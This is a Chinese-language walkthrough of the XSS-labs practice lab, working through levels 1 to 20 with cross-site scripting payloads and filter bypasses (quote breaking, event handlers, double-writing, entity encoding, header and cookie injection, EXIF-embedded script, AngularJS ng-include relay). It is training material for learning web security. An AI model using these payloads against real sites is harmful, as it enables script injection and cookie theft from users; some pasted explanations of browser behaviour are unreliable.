XSS-labs-master

level1 一级

PHP代码

复制代码
<script>alert()</script>

level2 二级

PHP代码:

复制代码
"><script>alert()</script><"

level3

PHP代码:

复制代码
" <csript>alert()</script> <"

不行,查看源码:

如图得知"<> 被进行了 HTML 转义:

  1. "&quot;

  2. <&lt;

  3. >&gt; 双引号、尖括号失效,无法用 <script>"> 这类传统 Payload ❌ 但是:单引号 ' 没有被转义! 利用思路:使用单引号闭合 value=',跳出属性,使用HTML 事件 触发 JS(不需要 <>

    ' onfocus=javascript:alert() <'

level4

PHP代码:

复制代码
'onfocus=javascript:alert() <'

可见 ' 被转义成 \' ,但是"没有被转义可以利用

复制代码
" onfocus=javascript:alert() <"

level5

PHP代码:

复制代码
" onfocus=javascript:alert() <"

onfocus被变成o_focus了,试试用script标签

复制代码
" <script>alert()</script> <"

试试<a></a>标签弹窗

复制代码
"> <a href=javascript:alert()>111</a> <"

level6

PHP代码:

复制代码
"><a href=javascript:alert()>111</a> <"

查看源码:发现其实就是把<script><a>onfocus给加_了,看PHP代码可以使用大小写绕过

复制代码
"><a HRef=javascript:alert()>111<"

level7

PHP代码:

先执行 strtolower(),所有输入统一转小写,大小写混淆绕过无效

str_replace(关键词,"",$str):找到关键词直接空替换删除

替换函数只会单次删除 ,遇到 oonnhhrefref 这类双写字符串,删除中间子串后会重组出完整关键词

复制代码
"><a HRef=javascript:alert()</a><"

发现javascript里面的script被删除了,分析php代码可以双写:javascracriptipt

复制代码
"><a href=javascscriptript:alert()>111</a><"

href被删除了

复制代码
"><a hrhrefef=javasscriptcript:alert()>111</a><"

level8

PHP代码:

故技重施

复制代码
"><a hrefhref=javascriptscript:alert()>111</a><"

去掉双写:

复制代码
"><a href=javascript:alert()>111</a><"

还是不行分析php代码发现:

1.< > " ' & 全部被转义为 HTML 实体(&lt; &gt; &quot;),无法跳出标签、无法闭合原有结构。

2.输出位置:友情链接 <a href="这里放入用户输入">友情链接</a>。

3.关键词过滤:拦截 scriptonhref,大小写绕过、双写绕过均失效

尝试编码绕过,unicode编码绕过(HTML 实体(俗称 unicode 编码)最大好处: 后端不解析、浏览器自动解码,把敏感字符 "藏起来" 躲过服务器过滤,到达浏览器渲染阶段才还原成可执行符号。)

复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

https://www.matools.com/code-convert-unicode

level9

PHP代码:

其中,比第八关多了32行的if条件,如果false=false则失败,条件是$str7里面有http://

构造payload:

复制代码
javascript:alert();http://

unicode编码

复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;&#59;http://

&59;是unicode对;编码,在js里面表示结束

无法弹窗,尝试用注释:

复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/*http://*/

level10

PHP代码:

input被hidden了,我们只需要改为type=text,构造payload

复制代码
t_sort=javascript:alert();type=text

但这里是 input 标签,没有 href 属性,所以不用href:javascript:alert(),用事件触发属性onfocus

复制代码
t_sort="onfocus=javascript:alert() type="text

一般on事件后面用空格隔开就行,没有空格会报错

level11

PHP代码:

复制代码
?t_sort="onfocus=javascript:alert() type="text

t_sort的输入被htmlspecialchars()转义了,其中:

复制代码
<input name="t_sort" value="【来自GET参数 t_sort】" type="hidden">
<input name="t_ref" value="【来自HTTP请求头 Referer】" type="hidden">

`Referer请求头` → `$str11` → 过滤 `<>` → `$str33` → 填入 t_ref 的 value

分析PHP代码发现t_ref并没有那么多限制,但是GET输入不了,就直接改请求头:

什么是 Referer?

Referer 是浏览器自带的 HTTP 请求头,作用是告诉服务器:我是从哪个页面跳转过来的 。 正常访问时浏览器自动带上,普通地址栏无法直接修改这个请求头,所以必须抓包(Burp)或者请求头修改插件。

复制代码
Referer: "onfocus=javascript:alert() type="text

没有Referer头就自己加一个进去()记住格式规范,Referer: 这:后面有个空格

level12

PHP代码:

分析PHP代码可知,此关切口在t_ua参数内,需要在User Agent内输入即可

复制代码
User-Agent: " onfocus=javascript:alert() type="text

把这个User-Agent的数据替换掉就行了,一定要注意格式

level13

PHP代码:

其中第20行表示:

从浏览器 Cookie 里取出名为 user 的内容,存到变量 $str11 里面。

举个场景例子

网站登录后,服务器种下 Cookie:user=admin123 执行这段代码后:$str11 = "admin123"

构造payload

复制代码
 "onfocus=javascript:alert() type="text

level14

PHP代码:

扩展exif知识:

复制代码
<iframe name="leftframe" src="http://www.exifviewer.org/" ...></iframe>

真实靶场逻辑: 页面加载 exif 图片解析服务 ,读取图片的 EXIF 元数据(图片注释 / ImageDescription)直接把 EXIF 内容输出到页面,无过滤 。 ✅ 漏洞类型:EXIF XSS(图片元数据存储型 XSS) 关键点:不是修改图片文件名,是修改图片内部 EXIF 注释!

原理简述

JPG 图片可以嵌入 EXIF 信息(图片描述、作者)。 网站读取图片 EXIF 字段,直接渲染 HTML,payload 写在 EXIF【ImageDescription】里,访问页面时代码执行。

一、制作带 XSS payload 你 的图片(两种方法)

Payload 推荐(基础弹窗)

复制代码
<script>alert(document.cookie)</script>

方法 1:Linux exiftool

  1. 准备一张正常 jpg 图片 test.jpg

  2. 执行命令写入 EXIF 图片描述:

    exiftool -ImageDescription='' test.jpg

Windows 可以下载 ExifTool 图形界面工具。

方法 2:Python 脚本修改 EXIF

复制代码
from PIL import Image
import piexif

img = Image.open("test.jpg")
exif_dict = piexif.load(img.info["exif"])
# 写入ImageDescription
exif_dict["0th"][piexif.ImageIFD.ImageDescription] = '<script>alert(document.cookie)</script>'
exif_bytes = piexif.dump(exif_dict)
img.save("xss.jpg", exif=exif_bytes)

⚠️ 注意:PNG 不支持标准 EXIF!必须使用 JPG/JPEG!

二、靶场访问流程

  1. 上传制作好的 xss.jpg 到服务器,拿到图片地址

  2. 访问 level14 页面,iframe 加载 exif 解析服务,传入你的图片地址 靶场 URL 格式类似:

    /xss/level14.php?src=https://xxx/xss.jpg

服务读取图片 EXIF 信息,将你写的<script>直接输出页面,触发 XSS。

三、常见踩坑点

  1. ❌ 不要把 payload 写在文件名里,没用!必须写入图片内部 EXIF 元数据

  2. ❌ 使用 png 图片,EXIF 不生效,一定要 jpg

  3. ❌ 部分浏览器现代策略:iframe 跨域、CSP 限制弹窗 遇到 CSP 拦截,更换 payload,改用 img/onerror:

  4. 工具使用错误:很多图片编辑器会自动清空 EXIF 信息,导出图片时不要压缩清理元数据

四、延伸考点(面试 / 护网常问)

  1. EXIF XSS 属于存储型 XSS,载荷保存在图片文件内;
  2. 防御方案:
    • 后端读取 EXIF 输出前做 HTML 转义;
    • 图片上传后自动剥离全部 EXIF 元数据;
    • 配置 CSP,禁止内联脚本;
  3. 同类漏洞:图片 IPTC、XMP 元数据注入。

ok,我按照上述使用脚本操作:

把xss.jpg放入服务器访问(由于能力有限展示不出,这里直接修改代码执行):

无法复现,等遇到再说把😂😂😂

level15

PHP代码:

一、源码核心审计要点

复制代码
$str = $_GET["src"];
echo '<span class="ng-include:'.htmlspecialchars($str).'"></span>';
  1. 输入点:GET 参数 src
  2. 过滤函数:htmlspecialchars()
    • 默认模式:转义 < > & "
    • ⚠️ 不转义单引号 '(核心漏洞根源)
  3. 输出位置:HTML class 属性内,页面加载 AngularJS 1.x

二、核心知识点

1. htmlspecialchars 关键特性(高频考点)
  • 不加第二参数:htmlspecialchars($str) → 只转义双引号,保留单引号 '
  • 安全写法:htmlspecialchars($str, ENT_QUOTES) → 同时转义单引号、双引号 结论:很多人误以为该函数能防御所有引号,是常见误区。
2. AngularJS 1.x ng-include 特性
  • AngularJS 会自动解析 class 中 ng-include:'路径' 格式
  • 语法强制要求:路径必须被单引号包裹
  • 限制:仅支持加载同源页面,无法跨域加载外部资源
  • 无法直接在当前页面注入HTML标签:< > 被实体编码,浏览器不解析
3. 间接XSS思路(中继攻击)

当前页面无法直接构造XSS标签,利用 ng-include 加载另一处存在漏洞的页面(level1.php) 攻击链路: level15(可控ng-include路径) → ng-include加载 level1.php → level1.php无过滤输出参数 → 触发XSS

三、Payload原理拆解

传入参数: src='level1.php?name=<img src=x onerror=alert(1)>' 渲染后HTML:

复制代码
<span class="ng-include:'level1.php?name=<img src=x onerror=alert(1)>'"></span>

单引号成功保留,AngularJS识别指令并发起加载请求。

编码备用Payload(防止URL特殊符号丢失) ?src=%27level1.php?name=%3Cimg%20src=x%20onerror=alert(1)%3E%27

四、面试/靶场考点汇总

  1. 考点1:htmlspecialchars 不同模式转义范围区分 ENT_QUOTES / ENT_COMPAT(默认)二者区别,是XSS经典考点。
  2. 考点2:AngularJS 1.x 基于class属性的ng-include解析漏洞 区分现代Angular与老旧AngularJS 1.x,新版本不存在该特性。
  3. 考点3:直接注入受阻时,使用同源页面中继的间接XSS思路 不能直接弹窗时,寻找站点内其他未过滤的页面作为跳板。
  4. 考点4:输出在class属性中的XSS利用思路 不能直接写HTML标签,需要利用前端框架特性进行突破。
  5. 考点5:ng-include同源策略限制 只能加载同域名资源,不能引入外部URL。

五、防御方案(答题必备)

  1. 使用 htmlspecialchars($var, ENT_QUOTES),同时转义单、双引号;
  2. 禁止用户可控数据直接拼接至HTML属性;
  3. 淘汰老旧 AngularJS 1.x 框架;
  4. 若业务需要动态加载页面,配置路径白名单,禁止任意路径传入。

根据ai分析这个ng-include,实操一下:

复制代码
?src='level1.php?name=javascript:alert()'

不管这么尝试还是谈不了窗:

二、逐层拆解「为什么新版浏览器无法触发」

1. AngularJS 1.2.0 古老语法特性(关卡设计依赖)

AngularJS 早期支持三种指令写法:

  1. 属性写法:<span ng-include="expr"></span> 稳定
  2. class 写法:<span class="ng-include:表达式"> 不稳定,就是本关使用形式

原理:Angular 启动后扫描 DOM,解析 class 里 ng-include: 后面的内容,当成 JS 表达式执行,调用$http.get()加载模板。

2. 致命问题 1:DOM 加载时序竞争

页面渲染顺序:

  1. HTML 从上往下渲染,先渲染 <span class="ng-include:xxx">
  2. 此时 <script src="angular.min.js"> 在 head 中开始下载
  3. DOM 渲染完成 → Angular 脚本还没下载、初始化完毕

当 Angular 最终启动完成时: 默认只会扫描一次初始 DOM,不会重新扫描已经渲染好的元素 很多情况下直接忽略这个 span,不会发起 AJAX 请求。

就算你把 js 放 head,网络波动、浏览器渲染调度依然有可能出现时序错位。

3. 致命问题 2:现代 Chromium 浏览器弱化支持(最核心!)

Chrome/Edge 新版本,对十几年前 AngularJS1.2 的 CSS class 指令解析器做了兼容降级 。 网上所有通关视频都是 2016 年前旧 Chrome/Firefox。 现在新版浏览器:

  • 能正常解析 ng-include="" 属性指令
  • 经常跳过、不解析 class="ng-include:xxx" 这种形式 现象就是:网络面板永远看不到 level1.php 的 XHR 请求,和你当前现象完全吻合。
4. 致命问题 3:浏览器地址栏 URL 天然破坏 Payload(双层编码根源)

原始 payload: 'level1.php?name=<img src=x onerror=alert(1)>'

如果你直接丢进 URL 参数:

复制代码
?src='level1.php?name=<img src=x onerror=alert(1)>'

浏览器会把内部的 ?& 识别成参数分隔符 ,直接切断 URL。 最终传给后端的 $str 是残缺字符串 → Angular 拿到非法 URL,放弃请求。 所以必须双层 URL 编码,解决这个问题。

但就算编码解决了字符串截断,上面【浏览器兼容弱化】的问题依旧存在。
5. 补充:源码没有 htmlspecialchars!原版关卡本来是带过滤的

标准原版 level15 代码:

复制代码
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';

htmlspecialchars() 转义 < > & "保留单引号 ',这是关卡考点; 你当前代码删掉了,虽然放宽限制,但依旧解决不了浏览器不解析 class 指令的硬伤。

三、完整攻击链路(关卡设计预期流程)

  1. GET 参数 src 传入 'level1.php?name=<img src=x onerror=alert(1)>'
  2. PHP 输出 <span class="ng-include:'level1.php?name=<img...>'"></span>
  3. Angular 解析 class,提取表达式:'level1.php?name=<img src=x onerror=alert(1)>'
  4. Angular 发起 AJAX GET:level1.php?name=<img src=x onerror=alert(1)>
  5. level1.php 接收 name,直接反射输出到页面
  6. <img> 加载失败触发 onerror → alert 弹窗

四、总结你失败的根本原因排序

  1. 新版 Chrome/Edge 不再稳定支持 AngularJS1.2 的 class 形式指令(最大元凶)
  2. HTML 渲染与 Angular 初始化存在时序竞争,偶发失效
  3. 地址栏直接输入 URL 容易被浏览器拆分参数,需要双层编码

五、唯一贴合原题考点、稳定可行方案

不要在浏览器地址栏直接访问,使用 Burp Suite 发送原始 HTTP 请求 原始请求参数:

复制代码
src='level1.php?name=<img src=x onerror=alert(1)>'

绕过浏览器 DOM 预解析、地址栏 URL 自动处理两大限制,满足当年靶场设计环境。

还是弹不了窗,算了记住知识点就行了

level16

PHP代码:

分析代码:

strtolower()函数表示把str里面的数据进行小写

把script、空格、/变成&nbsp,所以不能使用大小写绕过以及<script>标签和空格在内,HTML 标签属性可以不用空格分隔 ,用 tab换行 或者直接用 /**/ 不行(/ 被过滤),最简方案: 属性之间不用空格,依靠标签语法粘连;优先使用 onmouseover / onerror 事件

利用 &#09; 制表符 URL 编码 %09,替代空格

复制代码
<img%09src=x%09onerror=alert(1)>

%09被发现了,用换行符%0A试试

复制代码
<img%0Asrc=x%0Aonerror=alert(1)>

level17

PHP代码:

这个代码重点在理解这一行:

复制代码
<embed src=xsf01.swf?【arg01的值】=【arg02的值】 width=100% height=100%>

其中arg01和arg02被htmlspecialchars()函数包裹,这个函数默认转义& " < > ' 但是它不会拦截 HTML 属性外面的 > < 标签截断,就是如果我们输入的>是用于闭合<embed标签的话它可能不会转义,但>作为特殊字符就会转义。

复制代码
?arg01=a width=100 height=100><svg onload=alert(1)>&arg02=b
?arg01=a&arg02=b onmouseover=alert(1)

空格替换为%0A或者%09即可

由于浏览器不支持embed标签,将php替换为img标签表示注入成功:

复制代码
http://127.0.0.1/xss-labs-master/level17.php?arg01=a%09width=100%09height=100%3E%3Csvg%09onload=alert(1)%3E&arg02=b

level18

PHP代码:

分析代码:

还是htmlspecialchars()函数把**"** 、<>全部编码了

同样把embed换成img,直接不跳出 embed 标签,在 arg02 追加 空格+事件 ,不使用任何 < > "

先试试17关的payload:

复制代码
level18.php?arg01="><svg%0Aonload=alert()>&arg02="b
复制代码
?arg01=a&arg02=b%20onmouseover=alert(1)

level19

PHP代码:

分析代码其实和17、18关差不多

复制代码
?arg01=a&arg02=b%20onmouseover=alert(1)

用Flash回调js

xsf03.swf(Flash 程序)会读取 URL 中的参数,内置 ActionScript 漏洞,接收 callback 参数并调用 JS。 经典 Payload 原型:

复制代码
level19.php?arg01=a&arg02=b%26callback=alert

%26 = &,作用:在 URL 层面新增参数 callback=alert 传给 swf。

由于现代浏览器彻底废除 Flash ,swf 无法运行,这条原生解法现在看不到弹窗,只能理解原理,不能复现。漏洞理论存在,但运行载体(Flash)消失,攻击失效。

level20

PHP代码:

属于Flash AS 回调 XSS 原理:xsf04.swf 读取 URL 查询参数,识别自定义回调参数并执行 JS。 历史标准 Payload 原型:

复制代码
level20.php?arg01=a&arg02=b%26callback=alert
  • %26 = &
  • 作用:给 swf 追加 URL 参数 callback=alert,Flash 内部调用回调函数触发弹窗

现实限制 现代浏览器彻底移除 Flash 插件,xsf04.swf 无法运行。

参考文章:新建标签页

个人理解或有偏差,欢迎大家批评纠正。

相关推荐
风月说与山鬼1 小时前
十二、Vue插件
前端·vue.js
spter。1 小时前
一次 Redis SETNX 的小插曲,我重新理解了原子性
前端·redis·bootstrap
Sayai1 小时前
【无标题】ECharts 实现日志量异常检测:基线 ±Kσ 基带 + 灵敏度切换(Vue2 实战)
前端·javascript·echarts
用户3169353811832 小时前
SpringBoot + Vue 项目生产环境部署完整指南
前端·后端
Csvn2 小时前
🔍 TypeScript `satisfies` 操作符:既要类型安全,又要推断的原始字面量类型
前端
Csvn2 小时前
🚦 手写 Promise 并发控制:如何优雅限制异步请求的并发数?
前端
gb42152872 小时前
python中Web应用服务器
开发语言·前端·python
默_笙2 小时前
💌 为了把"主题色"传给孙子组件,我翻了五层楼——直到遇见了 useContext
前端·javascript
颜进强2 小时前
04 - 一张图看懂 OpenSpec 变更的一生:从创建到归档
前端·后端·ai编程